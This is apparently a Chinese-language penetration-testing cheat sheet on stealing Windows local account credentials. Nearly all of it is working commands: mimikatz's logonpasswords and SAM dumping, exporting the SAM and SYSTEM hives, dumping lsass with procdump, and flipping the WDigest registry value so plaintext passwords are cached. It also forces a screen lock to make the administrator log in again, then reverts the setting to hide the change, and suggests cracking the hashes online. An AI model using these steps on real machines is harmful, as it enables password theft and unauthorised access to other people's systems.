0x01 獲取本地帳戶密碼
1.1 本地執行
下載mimikatz程序,找到自己系統對應的位數,右鍵以管理員身份運行:
(不是管理員會報錯)
#提升權限
privilege::debug
#抓取密碼
sekurlsa::logonpasswords
當目標為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,但可以通過修改注冊表的方式抓取明文。
cmd修改注冊表命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#重啟或用戶重新登錄後可以成功抓取
1.2 SAM表獲取hash
#導出SAM數據
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
#使用mimikatz提取hash
lsadump::sam /sam:SAM /system:SYSTEM
獲取高版本Windows系統的密碼憑證
使用procdump將lsass dump下來(需要管理員權限)
procdump下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
在該目錄下就會生成一個lsass.dmp文件
使用mimikatz讀取密碼hash
mimikatz.exe "log" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
為了方便,也可以將密碼輸出到文本裡
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > pssword.txt exit
然後將md5在md5平台解密,然後就獲取密碼了
wdigest
WDigest協議是在WindowsXP中被引入的,旨在與HTTP協議一起用於身份認證。默認情況下,Microsoft在多個版本的Windows(Windows XP-Windows 8.0和Windows Server 2003-Windows Server 2012)中啟用了此協議,這意味著純文本密碼存儲在LSASS(本地安全授權子系統服務)進程中。
UseLogonCredential 值設置為 0, WDigest 不把憑證緩存在內存;UseLogonCredential 值設置為 1, WDigest 就把憑證緩存在內存。
1 開啟WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#開啟WDigest把憑證緩存在內存
2 強制鎖屏等待目標系統管理員重新登錄
rundll32 user32.dll,LockWorkStation
3 截取明文密碼
4關閉WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
#關閉Wdigest Auth服務
https://blog.csdn.net/weixin_40412037/article/details/113348310
https://www.cnblogs.com/-mo-/p/11890232.html